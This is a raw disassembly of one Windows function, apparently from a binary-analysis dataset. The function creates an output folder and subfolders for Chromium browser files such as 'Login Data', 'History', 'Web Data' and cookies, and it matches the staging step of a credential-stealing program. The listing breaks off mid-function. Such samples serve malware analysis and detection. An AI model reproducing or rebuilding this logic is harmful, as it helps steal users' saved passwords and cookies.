Function at 0x140012a40
Capabilities:
Create directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x458]
sub rsp, 0x558
mov rax, qword [0x1402d1ba8]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x68], r9
mov rax, r8
mov qword [rbp - 0x10], rax
mov r8, rdx
mov qword [rbp + 0xa8], rdx
mov rdx, rcx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], r9
mov rdi, qword [rbp + 0x4c0]
mov qword [rbp], rdi
mov qword [rbp + 0x110], rdi
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x4d0]
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x60], rax
mov rsi, qword [rbp + 0x4e0]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x140], rsi
mov rbx, qword [rbp + 0x4e8]
mov qword [rbp - 0x40], rbx
mov qword [rbp + 0x148], rbx
xor r14d, r14d
mov rcx, qword [rdx]
mov qword [rbp + 0x70], rcx
mov rax, qword [rdx + 8]
mov qword [rbp + 0xb8], rax
cmp rcx, rax
je 0x14001455a
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx r15d, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
nop
mov rdx, rcx
lea rcx, [rbp + 0x150]
call fcn.1400272f0
nop
mov rdx, qword [rbp - 0x40]
cmp qword [rdx + 0x18], 0x10
jb 0x140012b77
mov r8, qword [rdx]
add r8, qword [rdx + 0x10]
mov rdx, qword [rdx]
jmp 0x140012b7e
mov r8, qword [rdx + 0x10]
add r8, rdx
lea rcx, [rbp + 0x420]
call fcn.14002ded0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
lea r8d, [rax + 7]
lea rdx, str._output
lea rcx, [rbp - 0x60]
call fcn.14002ec50
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x220]
call fcn.14000b170
nop
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae rax, qword [rbp + 0x220]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140014605
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140012c10
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140286f2c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, dil
lea rcx, [rbp - 0x30]
call fcn.1400309b0
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 0xb]
lea rdx, str._Login_Data
lea rcx, [rsp + 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140014641
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140012d0f
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140286f2c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, sil
lea rcx, [rbp - 0x60]
call fcn.1400309b0
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x60]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 8]
lea rdx, str._History
lea rcx, [rbp - 0x80]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp - 0x60]
call fcn.140029b80
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x14001463b
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140012e07
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140286f2c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r14b
lea rcx, [rbp - 0x30]
call fcn.1400309b0
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 9]
lea rdx, str._Web_Data
lea rcx, [rsp + 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140014635
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140012f06
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140286f2c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r15b
lea rcx, [rbp + 0x40]
call fcn.1400309b0
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 9]
lea rdx, str._Web_Data
lea rcx, [rbp - 0x80]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp + 0x40]
call fcn.140029b80
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x14001462f
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140012ffe
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140286f2c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r12b
lea rcx, [rbp + 0x20]
call fcn.1400309b0
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x20]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 0x10]
lea rdx, str._network_cookies
lea rcx, [rbp - 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2b0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xor eax, eax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400130f0
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e710
nop
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x44], eax
lea rcx, [0x140286f68]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401e7eb0
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae r8, qword [rbp + 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f7f88
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140286f68]
call fcn.1401f7f88
nop
lea rcx, [rbp + 0x80]
call fcn.140029930
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400131c3
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14002e710
nop
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x44], eax
lea rcx, [0x140286f78]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401e7eb0
mov qword [rbp + 8], rax
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 8
cmovae r8, qword [rbp + 0x40]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f7f88
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 8]
lea rcx, [rax + rcx*2]
lea r8, [0x140286f78]
call fcn.1401f7f88
nop
lea rcx, [rbp + 0x40]
call fcn.140029930
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140013284
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14002e710
nop
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x44], eax
lea rcx, [0x140286f90]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401e7eb0
mov qword [rbp + 0x10], rax
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae r8, qword [rbp - 0x30]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f7f88
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x10]
lea rcx, [rax + rcx*2]
lea r8, [0x140286f90]
call fcn.1401f7f88
nop
lea rcx, [rbp - 0x30]
call fcn.140029930
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140013345
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002e710
nop
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x44], eax
lea rcx, [0x140286fa0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401e7eb0
mov qword [rbp - 0x38], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae r8, qword [rbp - 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f7f88
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp - 0x38]
lea rcx, [rax + rcx*2]
lea r8, [0x140286fa0]
call fcn.1401f7f88
nop
lea rcx, [rbp - 0x80]
call fcn.140029930
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140013410
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002e710
nop
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x44], eax
lea rcx, [0x140286fb8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1401e7eb0
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r8, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f7f88
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rsp + 0x58]
lea rcx, [rax + rcx*2]
lea r8, [0x140286fb8]
call fcn.1401f7f88
nop
lea rcx, [rsp + 0x60]
call fcn.140029930
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400134d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400134ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013500
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013516
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001352c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013542
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013559
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x150]
mov r8, qword [rbp + 0x160]
cmp qword [rbp + 0x168], 0x10
jb 0x14001357d
mov rdx, qword [rbp + 0x150]
add r8, rdx
jmp 0x140013587
add r8, rcx
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x170]
call fcn.14002ded0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400135b0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002e710
nop
mov r8d, 1
lea rdx, [0x140286fd0]
lea rcx, [rbp - 0x80]
call fcn.140026ca0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 8
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x60]
call fcn.140026ca0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rbp - 0x60]
call fcn.140029930
nop
lea rcx, [rbp - 0x80]
call fcn.140029930
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140013690
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14002e710
nop
mov r8d, 1
lea rdx, [0x140286fd0]
lea rcx, [rbp - 0x30]
call fcn.140026ca0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 8
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rsp + 0x60]
call fcn.140026ca0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x60]
call fcn.140029930
nop
lea rcx, [rbp - 0x30]
call fcn.140029930
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x60]
call fcn.140012150
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
lea r9, [rcx - 1]
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x48], eax
movsxd rdx, eax
xor r8d, r8d
lea rcx, [rbp + 0x200]
call fcn.1400271a0
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0x10
cmovae rcx, qword [rbp + 0x200]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013805
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x40]
mov r8, qword [rcx + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, r10
jb 0x140014629
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140013838
mov r9, qword [rcx]
mov rax, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x140013845
mov rax, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.1400309b0
nop
mov r8d, 1
lea rdx, [0x140286f2c]
lea rcx, [rbp + 0x20]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x60]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 0xa]
lea rdx, str._logindata
lea rcx, [rbp - 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140029b80
nop
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
lea rdx, [rbp + 0x170]
mov rcx, qword [rbp + 0x60]
call fcn.140012150
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140013981
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x40]
mov r8, qword [rcx + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, r10
jb 0x140014623
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x1400139b4
mov r9, qword [rcx]
mov rax, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x1400139c1
mov rax, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov r8, rcx
movzx edx, r13b
lea rcx, [rbp + 0x40]
call fcn.1400309b0
nop
mov r8d, 1
lea rdx, [0x140286f2c]
lea rcx, [rbp + 0x40]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 8]
lea rdx, str._webdata
lea rcx, [rbp - 0x80]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor ecx, ecx
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
nop
lea rcx, [rbp + 0x40]
call fcn.140029b80
mov rcx, qword [rbp - 0x40]
mov r8, qword [rcx + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, r10
jb 0x14001461d
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140013b1b
mov r9, qword [rcx]
mov rax, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x140013b28
mov rax, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.1400309b0
nop
mov r8d, 1
lea rdx, [0x140286f2c]
lea rcx, [rbp + 0x20]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
